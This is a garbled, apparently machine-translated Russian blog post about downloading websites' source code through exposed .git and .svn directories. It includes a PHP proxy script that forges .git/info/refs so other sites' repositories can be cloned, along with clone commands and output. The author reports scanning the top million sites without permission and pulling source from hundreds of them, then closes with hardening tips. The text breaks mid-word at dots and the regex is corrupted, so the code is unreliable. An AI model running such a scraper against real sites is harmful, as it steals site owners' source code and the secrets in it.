В сентябре 2009 года было опубликовано статья об уязвимости, связанной с системой контроля версий Subversion, позволяющей загружать исходный код сайтов с помощью SVN. Время от времени, от нечего делать, мой мозг хотел, чтобы я написал граббер и проверил актуальность этой угрозы в текущий момент, но мне было как-то лень.
Однако меня преследовало комментарий хабраузер
Семенов
Понятное дело, что каждый школьник уже пробовал скачать %sitename% через .
svn, поэтому я сразу отказался от этой идеи, но попробую git клон %sitename%/.
git/ мои руки чесались.
Для начала я отключил 404 на .
git* на своем сайте и создал репозиторий git в общедоступном каталоге.
Теперь вы можете попробовать получить вновь созданный репозиторий.$ git init && git add .
&& git commit -m 'Test' Initialized empty Git repository in /home/ilyaplot/data/www/web/.
git/ [master (root-commit) d3dcdf3] Test 15 files changed, 713 insertions(+) .
$ git clone http://******.
com/.
git/ Cloning into '******.
com'.
fatal: http://'******.
com/.
git/info/refs not found: did you run git update-server-info on the server?
Как оказалось, не все так просто.
Для того чтобы репозиторий клонировался таким способом, нужно запустить git update-server-info в папке проекта, чего я по понятным причинам сделать не могу.
Получается, что для реализации задуманного нужен всего один файл .
git/info/refs, содержащий хэш коммита для HEAD. Поскольку хэш коммита можно получить из .
git/refs/heads/master, вы можете просто создать прокси-скрипт, который будет возвращать то, что git ожидает получить.
В итоге у меня получился очень простой PHP-скрипт. Я просто создал контроллер в своем проекте Yii2 со следующим содержимым: header("Content-Type: application/octet-stream");
if (preg_match("/^(ЭP<host>[\w\-\.
]+)\/(ЭP<url>.
+)/isu", $host, $matches)) { if ($matches['url'] == 'info/refs') { $ref = file_get_contents('http://' .
$matches['host'] .
'/.
git/refs/heads/master'); $ref = trim($ref); echo "{$ref}\trefs/heads/master {$ref}\trefs/remotes/origin/HEAD {$ref}\trefs/remotes/origin/master "; } else { echo file_get_contents('http://' .
$matches['host'] .
'/.
git/' .
$matches['url']);
}
exit();
}
И добавил правило в urlManager [
'pattern' => 'git/<host[\w\-\.
\/]+>',
'route' => 'git/index',
'suffix' => '',
],
Теперь я могу попытаться клонировать свой сайт, используя свой собственный сайт. Здесь должна быть шутка про монитор
Давай попробуем $ git clone http://******.
com/git/******.
com Cloning into '******.
com'.
$ ls ******.
com/
assets css favicon.ico images js robots.txt sitemaps
Случилось! После этого я опробовал этот метод на гигантских сайтах и получил то, что ожидал.
Ничего.
Затем я взял список из миллиона самых посещаемых сайтов в Интернете и просмотрел его весь.
Я ожидал получить много исходников, но из 1 миллиона сайтов мне удалось скачать только 4. Для 126 сайтов из тех, что я исследовал, я получил .
git/refs/heads/master с хэшем коммита, но я был не удалось клонировать репозиторий из-за того, что система маршрутизации этих сайтов выдала 404. Я ожидал, конечно, большего, поэтому решил проверить, на сколько больше или меньше сайтов я смогу скачать через .
svn. Я нашел граббер на Python, настроил его для того же списка в миллион сайтов и запустил.
Было скачано несколько сотен сайтов.
И в заключение дам вам несколько советов.
- Теперь проверьте наличие /.
git/index на вашем сайте с помощью обычного браузера.
Если вы не получили 403 или 404, то следующие пункты для вас.
- Настройте свой сервер так, чтобы он возвращал 404 в .
svn и .
git.
- Разместите исходный код сайта, который не должен быть получен клиентом за пределами публичного каталога.
- Возможно, стоит изменить используемые в конфигах пароли, url для доступа в админку и удалить служебные скрипты из публичного каталога.
УПД: kaimi_ru поделился ссылкой на скрипты для 5 систем контроля версий github.com/kost/dvcs-ripper Теги: #git #уязвимость #информационная безопасность
-
Летающий Конденсатор
19 Oct, 24 -
Хватит Изобретать Велосипед
19 Oct, 24 -
Новые Ключевые Слова В Java
19 Oct, 24 -
Сказка Про Домашний Почтовый Сервер
19 Oct, 24